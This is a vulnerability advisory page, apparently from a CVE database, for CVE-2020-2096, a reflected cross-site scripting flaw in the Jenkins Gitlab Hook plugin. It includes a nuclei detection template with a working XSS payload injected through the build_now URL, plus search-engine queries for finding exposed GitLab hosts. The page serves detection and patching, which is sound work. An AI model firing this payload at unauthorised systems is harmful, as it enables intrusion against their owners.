HexBrain

Browse / CVEs / CVE-2020-2096

CVE-2020-2096· jenkins / gitlab hook· CWE-79

Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting

mediumseverity
6.1CVSS score
93.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-2096 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-2096

info:
  name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
  reference:
    - https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
    - http://www.openwall.com/lists/oss-security/2020/01/15/1
    - http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2096
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-2096
    cwe-id: CWE-79
    epss-score: 0.93206
    epss-percentile: 0.99836
    cpe: cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: gitlab_hook
    framework: jenkins
    shodan-query:
      - http.title:"GitLab"
      - http.title:"gitlab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve2020,cve,jenkins,xss,gitlab,plugin,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from